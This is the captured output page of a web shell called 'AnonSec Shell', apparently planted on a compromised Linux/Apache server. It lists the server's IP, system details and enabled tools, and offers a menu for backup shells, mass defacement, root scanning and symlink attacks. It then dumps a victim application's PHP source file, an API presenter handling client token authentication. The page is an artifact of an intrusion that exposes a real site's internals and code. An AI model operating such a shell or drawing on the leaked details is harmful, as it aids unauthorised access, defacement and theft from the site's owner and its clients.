AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 31.31.79.131 / Your IP : 172.18.0.1 [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /var/www/html/app/apiModule/presenters/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/html/app/apiModule/presenters/ApiPresenter.php

<?php

namespace App\apiModule\Presenters;

use App\Presenters\BasePresenter;
use Nette;
use Nette\Application;
use Nette\Http;
use Nette\Security\AuthenticationException;

abstract class ApiPresenter extends BasePresenter
{

    protected $database;

    /** @var array*/
    protected $data;
    /** @var int statusCode*/
    protected $code;
    /**@var int expiration in second*/
    protected $expiration;
    /**@var string default json*/
    protected $contentType;

    private $httpRequest;

    private $token;

    private $clientReq = "
        id,
        email,
        bonus_program,
        bonus_points,
        name,
        surname,
        salesman,
        price_profile,
        course_default,
        country,
        user_group_id,
        prefix,
        company
    ";

    public function __construct(Nette\Database\Context $database)
    {
        parent::__construct();
        $this->database = $database;
    }

    protected function startup()
    {
        parent::startup();
        $this->httpRequest = $this->getHttpRequest();

        if ($this->httpRequest->isMethod('GET') || $this->httpRequest->isMethod('POST')) {
                $token = $this->httpRequest->getHeader('token');

                if (empty($token) || !$this->authentication($token)) {
                    $this->apiResponse(['error'=> 'unauthorized access'],403);
                }
        }
    }


    // generate random token for user after registration
    public static function generateApiKey($id = null)
    {
        $api_token = bin2hex(random_bytes(30));

        return $api_token;
    }

    //is token exists in table client
    public function authentication($token)
    {
        $user = $this->getApiUser($token);

        try {
            $this->user->login($user);
            $this->user->setExpiration(60, TRUE);
        } catch (\Nette\Security\AuthenticationException $e) {
            return false;
        }

        $this->token = $token;

        return true;
    }

    public function getApiUser($token)
    {
        $userData = $this->getUserData($token);
        $userIdentity = false;

        if (is_array($userData["client"]) && count($userData["client"]) > 1) {
            $this->database->table("client")
                ->where(['id' => $userData["client"]["id"]])
                ->update(['logged_at' => new \DateTime()]);
            $userIdentity["id"]["client"] = $userData["client"]["id"];
            $userIdentity["role"][] = "client";
            $userIdentity["data"]["client"] = $userData["client"];

            unset($userIdentity["data"]["client"]['password']);
        }

        return new Nette\Security\Identity($userIdentity["id"], $userIdentity["role"], $userIdentity["data"]);
    }

    /**
     * @param $username
     * @param $password
     * @return array
     * @throws \Nette\Security\\AuthenticationException
     */
    private function getUserData($token) {
        $clientRow = $this->getClientData($token);

        if ($clientRow == false) {
            throw new \Nette\Security\AuthenticationException('Tento API klíč je neplatný.', self::IDENTITY_NOT_FOUND);
        }

        if ($clientRow == false) {
            $clientRow = null;
        } else {
            $clientRow = $clientRow->toArray();
        }

        return array("client" => $clientRow);
    }

    /**
     * @param $token
     * @return false|\Nette\Database\Table\ActiveRow
     */
    private function getClientData($token) {
        return $this->database->table("client")->select($this->clientReq)->where('api_token', $token)->where('is_active', 1)->fetch();
    }

//    public function unauthorizeMessage()
//    {
//        return BasePresenter::getLanguage("vas-dotaz-byl-odmitnut");
//    }

    public function apiSetResponse(Http\IRequest $httpRequest, Http\IResponse $httpResponse)
    {
        $httpResponse->setContentType($this->contentType);
        $httpResponse->setCode($this->code);
        $httpResponse->setExpiration($this->expiration);
        $httpResponse->setHeader('Pragma', $this->expiration ? 'cache': 'no-cache');
    }
    /**
     * @param $data , format = array
     * @param $code , type = integer
     * @parem $expiration , type = int(seconds)
     * @param $contentType , type = string
     * @throws Application\AbortException
     * @return Application\Responses\JsonResponse
     */
    public function apiResponse($data = [],$code = 200,$expiration = null,$contentType = 'application/json; charset=utf-8') {
        $this->data = $data;
        $this->code = $code;
        $this->contentType = $contentType;
        $this->expiration = $expiration;
        $this->apiSetResponse($this->getHttpRequest(),$this->getHttpResponse());
        $this->sendResponse(new Application\Responses\JsonResponse($this->data));

        return json_encode(['message'=>'']);
    }

    public function getHttpLanguage() {
        $language = $this->httpRequest->getHeader('accept-language');

        if (isset($language)) {
            return $language;
        }

        return "";
    }

    public function getHttpProductCode() {
        $productCode = $this->httpRequest->getHeader('accept-code');

        if (isset($productCode)) {
            return $productCode;
        }

        return "";
    }

    public function getToken() {
        return $this->token;
    }

}

Anon7 - 2022
AnonSec Team